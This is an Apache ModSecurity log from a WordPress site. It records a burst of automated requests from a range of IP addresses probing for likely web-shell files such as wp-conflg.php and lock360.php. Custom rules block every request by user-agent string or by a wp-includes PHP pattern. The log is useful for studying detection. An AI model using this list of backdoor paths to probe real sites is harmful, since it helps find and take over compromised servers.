[Wed Feb 04 00:35:59.062447 2026] [:error] [pid 5148:tid 5171] [client 85.203.21.110:59133] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/lock360.php"] [unique_id "aYIj7783HCHLtUIbS7IoqAAAAVQ"]
[Wed Feb 04 00:35:59.354293 2026] [:error] [pid 5229:tid 5245] [client 85.203.21.100:34047] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aYIj70KmEgmJub93yUpIGAAAAY4"]
[Wed Feb 04 00:35:59.650851 2026] [:error] [pid 28720:tid 28732] [client 85.203.21.96:44911] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aYIj72mRXm2bmr_sYiYK-AAAAQo"]
[Wed Feb 04 00:35:59.948886 2026] [:error] [pid 5148:tid 5162] [client 85.203.21.152:49733] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2024/"] [unique_id "aYIj7783HCHLtUIbS7IorAAAAUs"]
[Wed Feb 04 00:36:00.261972 2026] [:error] [pid 5148:tid 5152] [client 85.203.21.130:38013] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aYIj8L83HCHLtUIbS7IorQAAAUE"]
[Wed Feb 04 00:36:00.555868 2026] [:error] [pid 5229:tid 5238] [client 85.203.21.118:37505] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aYIj8EKmEgmJub93yUpIGQAAAYc"]
[Wed Feb 04 00:36:00.849534 2026] [:error] [pid 43028:tid 43032] [client 85.203.21.97:49409] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "aYIj8FnHWnJD4cJC5DsDfwAAAMI"]
[Wed Feb 04 00:36:01.144600 2026] [:error] [pid 5229:tid 5243] [client 85.203.21.95:29563] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/404.php"] [unique_id "aYIj8UKmEgmJub93yUpIGwAAAYw"]
[Wed Feb 04 00:36:01.444654 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.103:24383] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aYIj8UKmEgmJub93yUpIHAAAAYI"]
[Wed Feb 04 00:36:01.742861 2026] [:error] [pid 5148:tid 5155] [client 85.203.21.96:57327] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "aYIj8b83HCHLtUIbS7IosAAAAUQ"]
[Wed Feb 04 00:36:02.035971 2026] [:error] [pid 28720:tid 28738] [client 85.203.21.87:47721] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aYIj8mmRXm2bmr_sYiYK_QAAARA"]
[Wed Feb 04 00:36:02.331769 2026] [:error] [pid 5148:tid 5171] [client 85.203.21.112:46571] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aYIj8r83HCHLtUIbS7IosgAAAVQ"]
[Wed Feb 04 00:36:02.626281 2026] [:error] [pid 42920:tid 42941] [client 85.203.21.85:46587] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "aYIj8iix3YKltG4EU0m97wAAAAw"]
[Wed Feb 04 00:36:02.920253 2026] [:error] [pid 43028:tid 43047] [client 85.203.21.77:53111] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aYIj8lnHWnJD4cJC5DsDgQAAANE"]
[Wed Feb 04 00:36:03.215181 2026] [:error] [pid 42920:tid 42943] [client 85.203.21.81:42151] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-conflg.php"] [unique_id "aYIj8yix3YKltG4EU0m98AAAAA4"]
[Wed Feb 04 00:36:03.512990 2026] [:error] [pid 42922:tid 42998] [client 85.203.21.101:59521] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aYIj82azX4WPS_dQRkjWRwAAAI0"]
[Wed Feb 04 00:36:03.804954 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.79:45019] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aYIj82mRXm2bmr_sYiYLAgAAAQE"]
[Wed Feb 04 00:36:04.100746 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.94:59811] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aYIj9EKmEgmJub93yUpIHwAAAY0"]
[Wed Feb 04 00:36:04.398212 2026] [:error] [pid 5229:tid 5249] [client 85.203.21.92:31507] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aYIj9EKmEgmJub93yUpIIQAAAZI"]
[Wed Feb 04 00:36:04.702645 2026] [:error] [pid 42922:tid 43005] [client 85.203.21.123:22695] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/"] [unique_id "aYIj9GazX4WPS_dQRkjWSwAAAJQ"]
[Wed Feb 04 00:36:05.005091 2026] [:error] [pid 42922:tid 42987] [client 85.203.21.112:34347] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aYIj9WazX4WPS_dQRkjWTAAAAII"]
[Wed Feb 04 00:36:05.297895 2026] [:error] [pid 28720:tid 28727] [client 85.203.21.94:39689] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aYIj9WmRXm2bmr_sYiYLBQAAAQU"]
[Wed Feb 04 00:36:05.590835 2026] [:error] [pid 42922:tid 42986] [client 85.203.21.96:48983] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aYIj9WazX4WPS_dQRkjWTgAAAIE"]
[Wed Feb 04 00:36:05.886280 2026] [:error] [pid 42922:tid 42998] [client 85.203.21.79:41231] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/"] [unique_id "aYIj9WazX4WPS_dQRkjWUAAAAI0"]
[Wed Feb 04 00:36:06.178463 2026] [:error] [pid 42922:tid 42989] [client 85.203.21.143:45875] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYIj9mazX4WPS_dQRkjWUQAAAIQ"]
[Wed Feb 04 00:36:06.473976 2026] [:error] [pid 5148:tid 5174] [client 85.203.21.131:64247] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aYIj9r83HCHLtUIbS7IotAAAAVc"]
[Wed Feb 04 00:36:06.767661 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.81:62221] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aYIj9lnHWnJD4cJC5DsDhgAAANg"]
[Wed Feb 04 00:36:07.060246 2026] [:error] [pid 5229:tid 5252] [client 85.203.21.101:25877] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aYIj90KmEgmJub93yUpIJAAAAZU"]
[Wed Feb 04 00:36:07.353842 2026] [:error] [pid 5229:tid 5243] [client 85.203.21.96:36877] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIj90KmEgmJub93yUpIJgAAAYw"]
[Wed Feb 04 00:36:07.649302 2026] [:error] [pid 43028:tid 43044] [client 85.203.21.139:46787] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/fm.php"] [unique_id "aYIj91nHWnJD4cJC5DsDiAAAAM4"]
[Wed Feb 04 00:36:07.942506 2026] [:error] [pid 43028:tid 43048] [client 85.203.21.116:44597] [client 85.203.21.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/zoom1.php"] [unique_id "aYIj91nHWnJD4cJC5DsDiQAAANI"]
[Wed Feb 04 00:36:08.240202 2026] [:error] [pid 28720:tid 28728] [client 85.203.21.99:52049] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-conflg.php"] [unique_id "aYIj-GmRXm2bmr_sYiYLCAAAAQY"]
[Wed Feb 04 00:36:08.532230 2026] [:error] [pid 5229:tid 5248] [client 85.203.21.114:62329] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aYIj-EKmEgmJub93yUpIKQAAAZE"]
[Wed Feb 04 00:36:08.827665 2026] [:error] [pid 43028:tid 43050] [client 85.203.21.137:36591] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "aYIj-FnHWnJD4cJC5DsDigAAANQ"]
[Wed Feb 04 00:36:09.123946 2026] [:error] [pid 42921:tid 42963] [client 85.203.21.86:32001] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aYIj-YblShffGl-01oe0AgAAAEU"]
[Wed Feb 04 00:36:09.418250 2026] [:error] [pid 42921:tid 42962] [client 85.203.21.114:26313] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/network_xo.php"] [unique_id "aYIj-YblShffGl-01oe0BAAAAEQ"]
[Wed Feb 04 00:36:09.711763 2026] [:error] [pid 42920:tid 42949] [client 85.203.21.79:29801] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aYIj-Six3YKltG4EU0m9_QAAABQ"]
[Wed Feb 04 00:36:10.003397 2026] [:error] [pid 42922:tid 42985] [client 85.203.21.147:44347] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/222.php"] [unique_id "aYIj-mazX4WPS_dQRkjWVAAAAIA"]
[Wed Feb 04 00:36:10.295958 2026] [:error] [pid 42920:tid 42930] [client 85.203.21.103:64433] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/dofault.php"] [unique_id "aYIj-iix3YKltG4EU0m9_gAAAAE"]
[Wed Feb 04 00:36:10.587340 2026] [:error] [pid 5148:tid 5172] [client 85.203.21.92:45609] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "aYIj-r83HCHLtUIbS7IotwAAAVU"]
[Wed Feb 04 00:36:10.880645 2026] [:error] [pid 5229:tid 5254] [client 85.203.21.95:33239] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aYIj-kKmEgmJub93yUpILAAAAZc"]
[Wed Feb 04 00:36:11.172530 2026] [:error] [pid 42920:tid 42934] [client 85.203.21.74:32845] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aYIj-yix3YKltG4EU0m-AQAAAAU"]
[Wed Feb 04 00:36:11.465160 2026] [:error] [pid 5148:tid 5171] [client 85.203.21.120:55103] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/"] [unique_id "aYIj-783HCHLtUIbS7IougAAAVQ"]
[Wed Feb 04 00:36:11.759389 2026] [:error] [pid 42920:tid 42948] [client 85.203.21.77:24549] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/"] [unique_id "aYIj-yix3YKltG4EU0m-AwAAABM"]
[Wed Feb 04 00:36:12.052750 2026] [:error] [pid 42920:tid 42931] [client 85.203.21.93:36875] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aYIj_Cix3YKltG4EU0m-BAAAAAI"]
[Wed Feb 04 00:36:12.352381 2026] [:error] [pid 42920:tid 42938] [client 85.203.21.112:56995] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aYIj_Cix3YKltG4EU0m-BQAAAAk"]
[Wed Feb 04 00:36:12.646241 2026] [:error] [pid 28720:tid 28731] [client 85.203.21.87:52309] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aYIj_GmRXm2bmr_sYiYLCwAAAQk"]
[Wed Feb 04 00:36:12.939832 2026] [:error] [pid 42921:tid 42969] [client 85.203.21.88:46481] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aYIj_IblShffGl-01oe0CAAAAEs"]
[Wed Feb 04 00:36:13.233200 2026] [:error] [pid 5229:tid 5245] [client 85.203.21.99:47345] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/themes.php"] [unique_id "aYIj_UKmEgmJub93yUpILwAAAY4"]
[Wed Feb 04 00:36:13.527600 2026] [:error] [pid 5148:tid 5164] [client 85.203.21.98:62897] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aYIj_b83HCHLtUIbS7IovgAAAU0"]
[Wed Feb 04 00:36:13.823438 2026] [:error] [pid 28720:tid 28737] [client 85.203.21.86:47081] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aYIj_WmRXm2bmr_sYiYLDAAAAQ8"]
[Wed Feb 04 00:36:14.116358 2026] [:error] [pid 42921:tid 42961] [client 85.203.21.86:22607] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aYIj_oblShffGl-01oe0DAAAAEM"]
[Wed Feb 04 00:36:14.407758 2026] [:error] [pid 5148:tid 5167] [client 85.203.21.70:60273] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/man.php"] [unique_id "aYIj_r83HCHLtUIbS7IowAAAAVA"]
[Wed Feb 04 00:36:14.706287 2026] [:error] [pid 28720:tid 28733] [client 85.203.21.107:30685] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/freeform/"] [unique_id "aYIj_mmRXm2bmr_sYiYLDgAAAQs"]
[Wed Feb 04 00:36:14.998561 2026] [:error] [pid 42922:tid 43008] [client 85.203.21.98:25717] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aYIj_mazX4WPS_dQRkjWWQAAAJc"]
